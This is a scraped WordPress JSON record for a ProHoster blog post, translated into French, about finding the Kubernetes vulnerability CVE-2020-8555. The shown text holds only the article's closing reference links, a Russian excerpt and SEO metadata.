kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">probl\u00e8me golang #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. de l'auteur<\/h2>\n<p>\nLisez aussi dans notre blog :<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">La chasse aux bogues dans Kubernetes est officiellement ouverte<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Sortie du pod dans Kubernetes via le montage des logs.<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ outils pour la s\u00e9curit\u00e9 de Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Source : <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.2 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/fr\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.2\" \/>\n\t\t<meta property=\"og:locale\" content=\"fr_FR\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/fr\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Quand ce n'est pas seulement une vuln\u00e9rabilit\u00e9 dans Kubernetes\u2026 | ProHoster","description":"Ex.","canonical_url":"https:\/\/prohoster.info\/fr\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"fr_FR","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/fr\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}